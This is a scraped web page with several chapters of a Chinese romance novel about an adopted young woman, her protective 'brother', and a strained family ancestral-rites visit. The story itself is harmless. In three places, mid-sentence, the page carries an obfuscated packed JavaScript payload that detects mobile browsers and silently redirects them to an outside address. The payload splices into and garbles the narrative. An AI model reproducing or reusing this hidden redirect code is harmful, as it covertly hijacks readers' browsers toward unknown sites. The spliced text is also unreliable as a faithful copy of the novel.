旁观者清,陈夏安有所猜测,但这个场合下,也不好说出来。 商量好接下来几周的排练时间,四人各自回宿舍。 陈夏安和沈离离在同一栋楼,两人一起往回走。 凉风习习,星影稀疏。 她们手挽着手走在路上,都没有说话。 直到陈夏安忽然出声:“在想什么呀?” 沈离离当真被吓了一跳,随后叹气:“没什么,就是刚才吃饭时候说的事情。” “出国留学的事?” 她静静点了点头,抬起眼睛,看向远处,“其实在国内读研也挺好的,离家近一点……” “沈离离。”陈夏安皱起眉。 “嗯?”语气太郑重,沈离离赶紧转头看她。 “跟你说个事,”陈夏安道,“我男朋友前两天跟我说什么你知道吗,他说他可以养我,叫我毕业别乱跑,每天待在家里弹琴唱歌就行了。” 这句话里恐怖之处太多,叫人一时难抓重点。 沈离离如同面对惊涛骇浪:“你不是早就分手了?” 陈夏安:“那个体育生已经分啦,这个是上个月刚谈的,不是特别帅吧,但188爱健身,无不良嗜好,刚毕业两三年,现在在新区创业呢。” “等等,等一下,”沈离离赶紧叫停,“陈夏安你能不能清醒一点儿,别管什么身材了,这哪是谈恋爱,是想养金丝雀吧。” 陈夏安停下了,看着她,“你也这么觉得,是吧?” 沈离离小鸡啄米似的点头,愤怒:“他怎么能说出这种话,根本不清楚你的性格吧。” “所以我又分手啦,反正都是玩玩,”陈夏安笑起来,“我刚听到这话的时候跟你一个反应,特别生气,我觉得我的人格和尊严都没了。” “对啊,你有理想,有才华,有独立自主的能力,怎么能被男的绊住。” “不止男的,别的也不行。”陈夏安看向她。 对视的一瞬间,沈离离愣了一下,立刻明白了她这番话的用意。 她心中犹如淌过一股暖流。 分别前,她问陈夏安:“真有188这个人吗?还是你编出来的?” 陈夏安哈哈大笑,“我骗你干嘛,等会发聊天记录给你看,这个神经病乐死我了。” 沈离离十分忧心:“别跟他纠缠太多。” “我知道,放心吧,”她转身上楼,笑着挥挥手:“晚安宝贝儿!” 于是沈离离也忍不住笑了,“晚安。” 12. 第 12 章 开学第二周的周五,沈离离收到了杨敬澄的一条微信:离离,明天有空没? 沈离离:我记得我们俩都没空吧,下午不是要排练么。 杨敬澄:我是说早上,一个小时也没有? 那当然还是有的。沈离离没急着回应,问了他有什么事。 杨敬澄发来一个悲伤的表情包:没正事就不能约你了?唉,是我把我们的兄弟情看得太重了。 沈离离无语,回:是姐妹情。你先说什么事,看看值不值得我早起。 他这才认真说:璇璇你还记得吧,她妈妈明天要去琴行,说想问问你小孩学琴的事情。她家璇璇前两天不是开学嘛,说是有点忙就没来,现在打算周末继续过来学。 沈离离想了想,回了个OK的表情。 周六一早,她提前十分钟到了琴行,发现门已经开了,杨敬澄站在门口冲她笑。 她走进去,屋里还没人,不禁惊讶道:“你起那么早过来开门。” “对啊,就知道你会早到。” 沈离离放了东西,轻车熟路去开灯,又走过来翻看璇璇的学琴签到记录,边说:“你昨晚根本就是在这儿睡的吧。” “我去,你怎么知道的?”杨敬澄夸张道,“沈姐,你真名其实是叫‘沈探’吧。” 沈离离轻呵一声,下巴点了点沙发:“那儿还乱着呢。杨阿姨要是最后一个离开琴行,肯定会收拾好的。” 杨敬澄看过去,沙发上被他睡出一个凹陷的弧度,一团杯子塞在上面,将坠未坠。 他有点尴尬地挠挠脸,飞快过去整理。 不多时,杨女士来到琴行,看见沈离离,笑得心花怒放:“离离,来那么早呀。” 沈离离笑笑:“还好,杨敬澄更早。” “哎哟,我还不知道他。”杨女士瞪了眼后面的杨敬澄,随后走进来转了一圈,惊讶:“收拾得不错嘛,今天得对你看刮目相看了。” 杨敬澄立马挺直腰板:“那当然,妈你也不看看我是谁,我可是音院优秀……” “你先住嘴,过来扫地!” “妈呀,这就几粒瓜子壳,您火眼金睛啊?” “几粒不是粒!我昨晚怎么交代你的?” 沈离离心情也莫名好起来,笑盈盈望着这母子俩拌嘴。 她和关瑶很少吵架,即使是最叛逆的青春期,沈离离也乖巧得让人忍不住忧心。忧心她在外面被欺负。 当然,那样的事情从来没有发生过,不只因为总有个高中部的哥哥来找她,还因为她自己也并不为社交烦恼。虽然从小到大也没什么玩得十分长久的闺蜜,但沈离离实际上并不缺朋友。 如果让人省心也算种技能,那她大概是有点天赋。 十点半,谢女士带着璇璇到了琴行。 沈离离笑着问候一番,接着又和小女孩打了招呼。 坐下后,璇璇先去练琴了,沈离离倒了两杯水,谢妍喝了口,道谢后才说:“沈老师,我听说你以后不来琴行教小孩了?” 沈离离只能诚实说:“是的,我后面学业比较紧,可能顾不来这边了。” “暑假也不来了?” 她抱歉地点头,“不过我们琴行其他老师教得也很不错,妍姐你可以先让璇璇和老师们熟悉一下。” 谢妍表示理解,只是有些惋惜:“还是你最有耐心。那小孩犟头倔脑的,叫她换老师肯定不太乐意。” “不会的,寒假的时候我都看在眼里,璇璇很听话,和其他老师也相处得很好。” 谢妍这才放心些,点了点头,“我等会问问她。” 沈离离笑了笑。 说话间,她实在忍不住看着谢妍,然后联想到沈燎。想到他的工作环境里,是不是全都是这样职业又干练的同事,是不是一切都看上去低调又精致。 她有偷偷在搜索引擎里搜过沈燎公司的名字,网页上的介绍里出现一堆风险投资相关名词,数字和大写字母穿插其间,基金后面又跟着一串以亿为单位的数字。 原来那么多汉字堆砌起来也会让人头晕眼花。 沈离离忽然有点理解沈燎为什么说乐谱会让他眩晕了,估计和她那会儿的感受是一样的。 “沈老师?” “嗯?”她猛然回神。 “没事,我也就是突然想起来,我老板也姓沈,叫沈燎,之前他说过认识你。”谢妍笑了笑。 “啊,是认识……”她又听见了自己的心跳声,“他怎么和你说的?” “没多讲,就说还挺熟的,也只是偶然提到。” 沈离离也礼貌地朝对方一笑,简单解释:“家里大人认识,平时就经常会聚一聚。” 这话还真是值得推敲。 她能这样说,是料定沈燎听见也不会出言反驳。但为什么呢? 为什么无论是她,还是沈燎,都不再愿意坦率地承认这长达十四年的,挂名的兄妹关系了? 沈离离有点不太敢去深思。 而谢妍,只是笑而不语。 她转移话题,问起沈燎在公司是什么样的形象。 谢妍想了想,聊天一样对她讲起:“作为老板,严肃是必然的,但他也不是很固执,很挑剔的那一种,还是很乐于听意见的。” “严肃?到不苟言笑的那种程度吗?”她感到新奇。 “哈哈,肯定是会笑的,只是很少,”谢妍微笑看着她,满目是对年轻女孩的感慨,“算是柔和版的霸道总裁。” 沈离离噗嗤一声,“妍姐,你怎么也……” “好啦,背后说老板闲话也不太好,有机会可以到公司参观,”谢妍心情很不错,笑着站起身,“我先走了,等会儿再来接璇璇。” “好,您慢走。”沈离离将人一直送到门口,道了别才转身。 她长长地呼出一口气,站在门外良久。 - 四月初,海文已步入春季,比三月温暖不少,校园绿化带郁郁葱葱。 其他三位室友都不是海文本地人,清明假期两人留校,一人回乡,沈离离也打算回家。开学以来,她和沈燎没再见过面,虽然每天都会在手机上聊两句,但终究和见面的喜悦没法比。 刚回到宿舍打算收东西,沈燎打来了电话。 她赶紧冲到阳台接通:“哥?” “离离,出门了没有?”他的声音隔着数十公里,从手机听筒里传过来,带了点被模糊的磁性。 “还没,你到了?” “不是,”他欲言又止,沈离离觉得肯定又是什么不太好消息,比如他又要迟到甚至来不了之类的,于是屏息以待。然后听到他说:“今天可能得去一趟南州,沈家祭祖。” 居然是比迟到更不好的消息。 沈离离有点崩溃,沉默两秒,还是稳住声线,没抱什么期待地问:“……那我能不去吗?” 出乎意料,沈燎说:“能。不去的话就在家等我,明天就回。” “真的?” “真的,这点事,你哥不至于逼着你去。”他笑得轻松。 沈离离没说话,半晌哦了一声。说好叫人过来接她后,电话才挂断。 不到十秒的时间,沈离离甚至还没放下手机,又有来电。 这回是沈君玉:“喂离离,你现在在学校吗?” “在的,怎么了姑姑?”她隐隐有种更不好的预感。 “小燎跟你说过了吧,祭祖的事情。”姑姑笑着说,“你哥还要忙,晚饭后才能赶到南州,你跟姑姑一起,我现在到你学校西北门了。” 沈离离刚落下的心仿佛直接降落到无底洞。 看来沈燎还没来得及和姑姑说。 面对沈燎外的任何人,她都没有推脱的能耐,只好应了声,发消息给沈燎:姑姑直接来接我了,南州见吧【流泪猫猫头】 沈燎:……难怪打她电话在通话中。 沈燎:没事,沈家那些人随便应付一下,等我。 沈离离在车上睡了一觉,抵达南州时是下午三点多,姑姑把她叫醒。 窗外在下雨,南州惯常是多雨的,空气潮湿,但气温比海文更暖,绿意盎然。 下车前,她还是忍不住,叫住了沈君玉:“姑姑,我去,合适吗?” 沈君玉一愣,回头对她笑了笑,“离离,就算你三叔不在,只要有我,你就永远是沈家人。” 但三叔从来不是她的爸爸,和姑姑的收养关系也已经解除。于情于理,她都不算是。 沈离离点了点头,沉默着下了车,跟在沈君玉后面。 朱漆大门,门上有铜环,入内后,迎面是雕了仙鹤图的青砖照壁,绕过照壁往里深入,才看见递进的门楼,接着是小径,回廊,石鼓凳…… 老宅古朴典雅,据说建造至今已经有百年,不过如今住这儿的很少,山林间的闲云野鹤没人爱当,年轻人都喜欢到城里生活了。 沈离离上回来是三年前,同样是祭祖,但那时她还是沈君玉的养女,牵着她进来的人是沈燎。 “离离,你先去竹苑跟小孩玩,晚饭时再到宗祠。”姑姑吩咐道。 沈离离苦不堪言,却还是只能答:“好。” 姑姑往另一边走远了。她循着模糊的记忆,走过石桥,穿过游廊,找了好几分钟才看见竹苑二字。 不想进去,在水榭小亭子里发呆也比坐在里面尴尬微笑要好。 水面看不见杂草,停着一只不伦不类的小船,还有几株枯死的荷叶,想必清理的人偷懒了,也有可能是故意这么设计的。反正她有点欣赏不来。 沈离离百无聊赖,索性掏出手机背单词。 不知道过去多久,有人走近,她心念一动,抬起头。 却不是想象中那张脸。 “你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只一眼,她便飞快移开,叫那男生:“走了,别等妈妈亲自来喊你。” 男生跟了上去,还转头对沈离离做了个鬼脸。 走出几步,她还能听见他们的对话声:“姐你看见了没,她居然来了!那个沈离离,我就说吧!” “堂姑是她养母,她怎么不能来。” “赖在沈家不走了呗,可真会赖,跟她妈一个样——” “你闭嘴!被爸爸听见小心挨收拾。” …… 叮咚。 手机提示音响起,沈离离低头,看见姑姑发来的消息:来梅苑吃晚饭。 她这才起身,拍了拍裤子,打开手机录音机结束录制。 梅苑是最大的楼,共两层,一楼正厅,挂着日月光华四字,二楼才是餐厅。祭祖在明天清晨六点,但晚饭也被视作必不可少的程序。 沈离离记得自己曾跟沈燎吐槽过,晚饭其实是老人行使权力的程序——训小孩的权力。 将近二十人,两个大圆桌,不照辈分坐,而是按家庭。爷爷家一桌,叔公家一桌,两家中间隔了扇镂空屏风。 还未进门,就听见里面的嘈杂,沈离离步伐沉重,迈上二楼。 她抬头就看见姑姑站在门外,见了她,走过来将她拉进去,沈离离差点被门槛绊到。 姑姑小声对她说:“别怕,谁说话都不用在意,吃饱了问声好就可以出去玩。” 她心中唉声叹气,面上连连点头。 沈离离落座,这一大桌子人的声音显而易见地变小了。 她能感觉到无处不在的目光,或静谧或喧嚣,精确地落在她身上。 直到爷爷出声:“人齐了没有?” 声音疲态尽显,苍老而嘶哑,即使不看满脸的沟壑,听声音也能判断出年岁已高。 一个女孩大声说:“爷爷,陆伯家的人还没来呢。” “嘘,瞎说什么。”小孩子的嘴巴被捂住。 陆伯,也就是陆凯鸿,在沈家长大的陆家人,他一直叫沈老干爹,沈老也将他视若己出,是真把他当长子看待。 但陆凯鸿早年跟老爷子闹了矛盾,已经很多年没来往过,只有一个养在国内的小儿子沈燎,还与沈家有联系。 又有一个声音,似乎在刻意压低:“那她是谁家的?” “姑姑家,她不是姑姑养女吗。” “你怎么不说她是三叔家的?” “别逗了,她是三叔什么?骗钱的?” “真要说,她根本不是咱们家的人。” 老妇人的声音洪钟一样响起,自带威严:“得了,全都等着像什么话,吃饭吧。” 沈离离抬头,不经意与奶奶对视了一瞬。那目光沉静深邃,像老树一样质朴,又像大海包容。 长辈动筷后,她才拿起桌上的筷子。 正准备提筷的时候,倏然间,福至心灵一般,她回过头,两秒后看见一道人影走进餐厅,带着熟悉的脚步节奏。 紧接着,又响起熟悉的声音,带着点惯有的笑意:“来晚了,爷爷奶奶,我等会儿自罚一杯。” 一只宽大的手掌,轻轻搭在她肩头。 沈离离忽然心神安定了。 13. 第 13 章 桌子太大,转盘转得很慢,菜式都是老人爱吃的南州口味。 沈离离打算将沉默寡言人设贯彻到底,闷头吃饭,身旁的沈燎说话时,她才跟着附和两句。 二伯母感叹了句:“小燎,这离离还是跟你感情好,你不来,这孩子都不怎么讲话。” 沈离离笑说:“其实是午饭吃少了,刚才饿得走神了。” 沈燎笑望她一眼:“这是怪我迟到,没能早点开饭?” 沈离离:“奶奶还没怪,我怎么敢?” 奶奶微微一笑,道:“看来为了让小离离走神得正当点儿,我是该责怪一下燎山,明早六点,你先进祠堂,可记得提前半个小时起床。” 众人顺着老太太笑出来。 但在场人心知肚明,这话的意思,是真将沈燎看作自家的孙子了。 傍晚六点多,这顿饭终于有惊无险地吃完了。 宴席散场,有人扶着身子虚弱的老爷子去休息,奶奶在正厅里叫住了沈燎。 沈离离抬头,担忧地看向他。 沈家人对她的态度,她一清二楚,奶奶明面上和蔼宽容,但从未真正认可过她母亲。奶奶是续弦,父辈四人里,只有老三沈君良和小女儿沈君玉是她亲生,自然要看重得多。当年最反对沈君良与关瑶在一起的也是奶奶。 奈何年轻人的因果终究难以干涉,这些年,她看得越来越淡,也不在乎沈离离的去留了。 但再怎么样,只要她姓沈,就轮不到别人刁难。 “一起去?”沈燎对她笑了笑。 沈离离:“奶奶只叫了你。” “没关系的,她知道我会带你一起。” 沈离离将信将疑,跟沈燎一同下楼进了正厅。 正厅房门也是雕花门,进屋就问到茶香味,厅内八仙桌后面悬挂着工笔画像,大概是某位先祖,两侧楹联纸质看上去很新,至少比画像新。沈离离算是明白了,这宅子里,最现代的东西应该就是餐厅那两张大圆桌和靠背椅子。 老太太在喝茶,看到两人一起进来,果然露出种见怪不怪的神色。 他们例行问了声好。 奶奶淡淡说了句:“燎山,你当心把小妹妹宠坏了。” “不是,”他客气地笑笑,“她方向感差,怕走丢了。” 奶奶哼笑一声:“在家里,能丢到哪去?” 沈燎随口就扯:“我记得上回来,离离就跑到西园去了,差点被二堂叔家那对双胞胎欺负。” 奶奶:“净瞎说吧你,离离是脾气好,不是软柿子。” 沈离离笑:“还是奶奶了解我。” “你哥哥就是太爱护你,”奶奶抿了口茶,抬眼,缓缓说:“兄妹之间,是该友善和气,但要适宜,不能过度。你们都已经长大了,必须学会独立,小的不懂事,大的不仅要会关心,还要会教,明白吗?” 她看着沈离离,话却像是在对沈燎讲。 每个字,都像针一样扎在心上。 沈离离绷紧唇角,喉咙干涩,吞咽了一下,没发出声。 “明白。”沈燎低声回答。 过后,奶奶才说起正事:让沈燎与父母好好商量一下,下半年爷爷八十大寿抽空回国一趟。老爷子的身体不知道还能撑多久,再大的恩怨,过去那么久也该释怀了,毕竟是有着半辈子父子缘分的两个人。 话到最后,隐隐地点了一句:“你爸爸一直不过来,本来要给你们家的东西,也不好给。” 沈燎面无波澜地应了好。 从梅苑出来,他们一句话也没说,沈燎起初步子迈得很大,很快意识到沈离离的吃力,又慢了下来。 “奶奶刚才说的……” 沈燎飞快回:“你不用管,奶奶不管逮到谁都要训上一两句有的没的。” 他语气很沉,像是在克制着什么。 沈离离听得出他现在心情很烂,只能继续沉默。 原因一想便知,沈离离暗自琢磨。自认为清清白白的兄妹感情,忽然被长辈这样明显地敲打提醒,他恐怕委屈都要多于愤懑。 更何况,奶奶最后那句话,显然在芥蒂他是陆家人。话里话外的意思,不过是叫他要么直接归到沈家门下,要么别再占着这姓氏,跟真正的沈家人抢东西。 “哥你生气了?”她意识到他正带着她往老宅大门走去。 沈燎看她一眼,“我生什么气,没事,别瞎想。” 沈离离拉住他,“你先等等。” “怎么了?”他的视线从她的手,缓缓上移,看向她的眼睛。 “我们现在要去哪?今晚不是得在东园睡吗?” 她正要松手,忽然间,掌心握住的手腕一转,位置调换,成了他握住她的手。 沈离离陡然抬眼,从交握的手开始,一股电流般的触感过遍了全身,直入脊椎。 “不用,明天祭祖之前赶到就行。”沈燎似无所感,回身牵着她继续走。 沈离离一边按捺自己嗵嗵的心跳声,一边随着他的脚步,与他并肩走着。步伐节奏似乎杂乱无章,一会儿快一会儿慢,又似乎只是她失去了思考能力。 沈燎的手总是干燥温暖的,有柔软的肉感,但看上去依然修长漂亮。他们的年龄相差近五岁,这意味着从小他就比她高,手掌也比她的更宽厚。发育再快的青春期,她也撵不上他的步子。 沈离离莫名其妙地陷入了短暂的回忆。 她想起了十七岁时,她在语文课上走神,用草稿纸偷偷写下的一封情书。 只有几句话的幼稚情书里,写着:哥你为什么对我那么好?你有喜欢的女孩子吗?沈燎,我好像有点喜欢你。我不想当你妹妹,我本来,就不是你妹妹。 那张纸甚至没能存活到下节课,写完就被她撕碎扔进了垃圾袋。 课间和同学闲聊,说起了情书,暗恋等专属于青春的字眼,谁又替谁买了早餐,谁又帮谁去大扫除……大家乐此不疲地聊着,好像这是灰白色高中里唯一一摸亮色。 沈离离你觉不觉得学委喜欢你?沈离离你同桌跟你告白的话你会答应吗?沈离离你有喜欢的人吗?沈离离我们可以试试吗?沈离离…… “小燎啊,你们俩……这是要去哪?” 手上的温度刹那消失,沈燎站在她身前,挡了她大半视线,声音一如既往:“出去转转,您怎么过来了?” “哦,我找你二叔商量点事,”男人朝他客气地笑了笑,“你们年轻人就是爱往外跑,我家那两个也出去玩了。” 沈燎没答话,只是笑。 男人很快指指一侧的楼,笑说:“行那我就不耽误了,你们玩去吧。” 道了别,男人走开了。 沈离离问:“他是谁?” 沈燎领她往小径里走,答道:“二堂叔,你应该没什么印象。” “是那对龙凤胎的爸爸?” “对,认识他们?”沈燎微微一顿。 沈离离低头看着小径路面,说:“不认识,不过他们好像对我挺熟的,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321095|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午在亭子里遇到了。” 沈燎骤然站住了脚步,皱眉问她:“他们对你说什么了?是不是欺负你了?” “噗,没有啦,”沈离离笑了笑,宽慰一般拍拍他的背,推着他往前走,“就是一些……略带恶意的闲话,我拿手机录下来了,想着如果还有更过分的行为,就去跟奶奶告状。好在没有。” “录音给我听听。” 沈燎声音渐冷,脸上时常挂着的,那股似有若无的笑意也全然消失了。 “我已经删掉了。”她连忙说:“得饶人处且饶人,都是一家人,咱们也做不了什么,以后避着点就好。” 他转头看她,露出一抹嘲弄的笑:“你真觉得跟他们是一家人?” 这话从沈燎嘴里说出来,比沈离离说更骇人。 “就算,就算我……但你姓沈啊。” “不姓也行,随便取个什么姓,都比沈好听。”他冷笑。 沈离离震惊得下巴要掉地上。 她赶紧说:“还是好听的,我以前姓汤的时候就可羡慕姓沈了,什么汤离离关离离都没有沈离离好听。咳,而且,哥你别乱讲,我们还在沈家老宅呢,等会儿被人听见拖出去五十大板怎么办。” 滔滔不绝的一串说完,沈燎又揉了把她的脑袋,终于笑了一声真心实意的,“那还是得先把你送出去,一个人挨打就够了。” “那不行,不能同生,必须同……”她止住话头,迅速抬高了音量,转移话题,问:“那我们今晚去哪住?” 沈燎顺着她的意,忽略掉前一句话。 他想了想:“南州有两套房子,城西和城北,你想住哪?我先叫人去打扫。” 有钱人好奢侈。 沈离离说:“近的吧。” 沈燎掀了掀眼皮:“远的那间里面,好像有台钢琴。” 沈离离清了清嗓子:“去远的。这点路程算什么,做人不能太懒惰。” “噗,小丫头。”沈燎笑起来。 沈燎的房子,不管是他父亲买的,还是他自己买的,装修风格几乎一个样,没什么人情味的商务精英风,也可能是压根没人住的缘故。 不过现在有了个例外,海文那间平层里,有一个完全属于沈离离风格的卧室。 南州这房子里当真有一架三角钢琴,是沈离离最喜欢的那个牌子。 她问他是不是刻意买的,沈燎笑着回答:“不算刻意,毕竟你也没什么机会来南州。但确实是给你准备的。” 沈离离沉默了好几秒才说:“哥你别对我太好了。” 他挑眉笑道:“沈离离,我是你哥,对你好是天经地义的。” 她垂眸,轻轻一笑,开玩笑说:“你就不怕我一辈子缠着你?谈恋爱也缠着,结了婚也缠……” 沈燎没立刻答话,莫名其妙地盯着她看了一会儿,意味不明,声音还是淡淡的:“怕什么,那就缠啊。” 最好,能真的一直缠着,像并蒂而生的花,永远不分开。 沈离离抬头,与他对视。 不过三秒,沈燎再次率先移开视线。 她吸了口气,浅浅地笑着说:“哥我明天不想再去老宅了。就算被议论得更难听,被骂不懂事,我也不想再去了。”我不想当沈家人了。 “那就不去。”他几乎没有任何犹豫,“姑姑那边我明天亲自去跟她说,做你想做的事情就好。” 她眨眨眼,微笑道:“那我明天就在这儿等你,一起回家。” “好。” 14. 第 14 章 沈离离并不知道自己在祭祖仪式里缺席会造成什么影响,但很大概率,照她的猜测,是不会有任何影响的。 沈家人向来看重面子,连吵架也要关上门,压低声音的那种。 沈燎也没想跟谁解释太多,或许大家都对此心知肚明。沈离离只是在无声宣告一件事,她不会再走进那座老宅。 收到沈燎消息的时候,沈离离刚好吃了早餐。 她关闭电源,检查完一遍,踏着无比轻快的步子下了楼。黑色卡宴就停在楼下。 她弯腰坐进后座,沈燎抬头看她,面带笑意。 他还穿着黑色的正装,戴了一副眼镜,打扮得郑重其事,一丝不苟,只有脸上的笑并不严肃。 沈离离坐稳后车子启动,走上回海文的路。她问:“奶奶没骂你吧?” 沈燎松弛地靠在座椅里,语气有几分随意:“不至于,就问了句话。” “问了什么?”她还是有点紧张。 沈燎看她一眼,“她问我,是你自己不想来,还是我说了什么不该说的话。要不要猜猜我是怎么回答她的?” “你快说。”沈离离不吃这套。 他笑了笑,说:“我说都有。” 他说了什么不该说的话吗?尊重她的意愿,没有劝她乖顺,也算不该吗? 沈离离缓缓叹出一口气,有种落水后被打捞起的感觉,无可避免的难受,但更多是死而复生的轻松。 她向来知道自己大概是尺寸不对,无法完美地融入某个世界,但至少,她可以丢掉那些让自己不舒服的东西。 以前她也想过,要不要改姓。但后来还是作罢,想着,这个名字不止代表沈叔叔给过她的,源自纯粹善良的父爱,或许也是妈妈与他相爱过的证明。 而现在,她不打算继续缅怀过去了。 车子行驶在高速路上,窗外的天空和平原都是飞速逝去的景观,好像只有他们是静止的。 沈离离与沈燎中间隔了点距离,微不足道,触手可及的距离。 她一抬头,就对上他的眼睛。 怎么会有这样一双眼睛,看上去总是在笑? “哥,我想跟你说个事。”她深吸了一口气。 或许是察觉到了她的郑重,沈燎也收敛了散漫,“你说。” “我最近,在准备留学的事情,”她说,“我明年打算出去读研。” 沈燎没有露出很大反应的表情,几乎是下意识开始思考,说:“准备到哪个阶段了?来不来得及?需不需要……” 沈离离呆滞地啊了一声,听他问完一串问题,才有些不确定地说:“你就只想跟我说这些吗?” 沈燎微微挑眉,笑望着她:“难道不是在通知我,是想问我的意见?那我重新回答吧。”他清了清嗓子,看起来是有那么回事的样子:“沈离离同学,你哥哥很支持你的想法,但是呢,请你不要逞强,有任何需要帮助的事情,随时问我。” 如他所料,她噗一声笑出来,眉眼弯成漂亮又可爱的弧度,神色生动。 沈燎看着她微笑,忽然又想要摸摸她的头发。 “哥谢谢你。”她抬手揉揉眼睛,笑着说。 “这有什么好谢的。” 她微微垂下眼,嘴角蕴着淡淡的笑,轻声说:“我原本以为你会不同意。” 没等他问出为什么会这样想,她接着说:“因为如果是我的话,我会很难过。明明分开了那么久,好不容易回来了,不走了,结果要离开的成了另一个人。” 沈燎感受着她的情绪,眼眸也垂下,看见她杵在座椅上的手。 他没动作,开口说:“离离,如果是你,你也会和我一样的。” 他好像只说了半截话,且没有补充的打算。 但沈离离莫名明白了他的意思。分别不是失去,失去也不能衡量爱的价值。 沈燎很爱她。意识到这一点,却让她更加难过。他对她越好,就越让她舍不得走出这个名为兄妹的温暖巢穴。 送她到家之后,沈燎与她道了别,离开前又说了一次,有任何问题都可以来找他。 沈离离再次把自己关进录音室,戴着耳机听了一下午音乐。 打开手机才看见他的消息。 沈燎:离离,三年前的事情,我欠你一个道歉。不管是摔坏了录音笔,还是不道而别,都是我对不起你。 看时间,似乎是她下车后,他在回家路上就发送的。 她想起来,那是高考完的某个晚上,他说有重要的东西要给她,有关她母亲的东西。 但当他找到那支录音笔时,发现不知道什么时候,东西竟然碎了。她问里面有什么。沈燎满脸歉意,艰难地说,是偶然找到的,你妈妈给你的留言。他只听了个没有有效信息的开头,便想着留下,让沈离离亲自听。 但笔坏了,谁都没有想过做备份。里面到底藏了什么,是和那场意外的车祸有关,还是对女儿的日常关心和问候,谁都不知道了。 那天沈离离崩溃大哭,责怪沈燎为什么要等到高考后才给她,为什么不能早一点…… 而沈燎既心痛,又生气,他说他只是个凡人,怎么可能预料到这样的结果。 他们吵得天翻地覆,沈离离也忘记哥哥并非生来就是哥哥。 她支着下巴,看着窗外发了会儿呆。 三年前觉得天大的事情,委屈了那么久的事情,如今回想起来,竟然也镀上了回忆的褪色滤镜。强烈的情绪也好,激烈的争吵也好,全都变得很淡,像玻璃窗上水珠滑落的痕迹。 片刻后,她回复:我再也不想跟你吵架了。 沈燎立刻发来:我也是。 她扯起嘴角笑了声,觉得好幼稚,又有点可爱。 只有在最寂静的时刻,她才会想起,自己没有家人了。母亲去世后,有很长一段时间,沈离离都以为沈燎就是她的避风港,以为只要有他在,她就还有家。但那时,她忽略了一件事,沈燎不可能永远都在。 她能依靠的人只有她自己。 晚些时候,沈君玉打电话过来,语气很疲惫,说:“离离,你想不想跟我聊聊。” 终于要来了。 沈离离答应了。 晚饭时她到了沈君玉家,女人坐在客厅插花,听到动静,抬头看了她一眼,放下手里的东西去了洗手台。 “先吃饭吧。” 姑姑很爱在饭桌上说正事,沈离离觉得这大概是沈家人的遗传习惯。 她等着姑姑先动筷子,内心说不上紧张,但肯定没有面上那么平静。 沈君玉说:“离离,今天早上你是故意不来的?”她用的几乎是陈述语气。 “是,”沈离离没否认,只说:“但这事和我哥没关系,他……也劝我了。” 闻言,沈君玉笑了一声,“他会劝才怪。”笑容收起,声音平和:“我早就说过,他会把你宠坏。” 沈离离觉得很奇怪。这些话说得她好像是个没有独立思考能力的小孩,或是什么宠物。 但矛盾的是,她同时也清楚,姑姑的担心没有恶意。 “以后的家庭聚会,祭祖,是不是都不想去了?”姑姑问她。 “嗯,我待得不太舒服。”她抬头,看向姑姑,“您以前也说过,如果有能力,就远离让自己不高兴的人和事。” “那你现在觉得你有能力了吗?”姑姑心平气和地与她对视。 沈离离说:“我觉得,我至少有选择的权力。欠您的,我以后会还,但对沈家,我没觉得自己做错过什么事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321096|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姑姑说不出话了。 “离离,姑姑不是责怪你的意思,也没想过让你还,我也算是看着你长大的,知道你跟你妈妈都不容易。只是,”她微不可察地叹了一口气,“只靠你自己的话,这条路会很难,我和你哥,没法在每个地方都帮到你。” “不管是不是只靠我自己,不管哪条路,其实都不好走吧,”沈离离说,“您和哥哥已经帮了我很多,接下来要不要走,该走去哪,我会认真考虑,也会为自己负责的。” 姑姑看着她沉默了一会儿,忽然微微一笑,低头说:“看来不止是我们,可能连你哥,也低估你了。” 沈离离笑了笑,没有说话。 周末结束,沈离离再次陷入忙碌。 直到月末的某一天,沈燎说要来学校找她。 得到消息后,她下了课就冲向校门口,果然远远就看见他的身影。 今天他穿得十分休闲且青春,卫衣和棒球帽,宽松的黑色直筒牛仔裤。在阳光下面站着,皮肤显得很白,只是面无表情,看着有点不近人情的意味。 沈离离去签字带他进来。 “你不说的话,看起来比大学生还要潮。”沈离离笑着打量他身上的银链饰品。 沈燎勾唇,说:“什么意思,你哥平时很土吗?” “你又故意过度解读,”沈离离哼了一声,“我是在夸你,霸总爆改潮男。” 不过在出国前,他“纨绔子弟”时期其实也是这个风格。 “你今天怎么突然来找我?不用工作吗?”她抬头问。 沈燎:“今天下午没事,来跟你道个别。” 沈离离瞬间头皮一紧,“道别?” 沈燎看着她的反应,又忍不住笑,过了几秒才说:“明天要飞国外,出差一趟,三天后回来。” 她气得往他的手臂砸了一拳,“你吓死我了。” “哈哈。”沈燎边笑,边抬头揉她的脑袋。 “你别老这样,我今天好好梳的头发……” 正值饭点,林荫道上学生来来往往,大多朝着食堂的方向去。 这时候哪个食堂人都很多,沈离离打算带他逛一圈,再出去吃晚饭。 忽然,右手臂被碰一下。沈离离抬头,对上舍友的笑眼。 “哇,不去食堂吗离离?”骆雪说着,目光不住地瞥向沈燎。 “我等会儿出去吃,先带他逛逛。”沈离离笑了笑,指指沈燎。 “你朋友?” 沈离离停顿了两秒,笑着说:“差不多。” 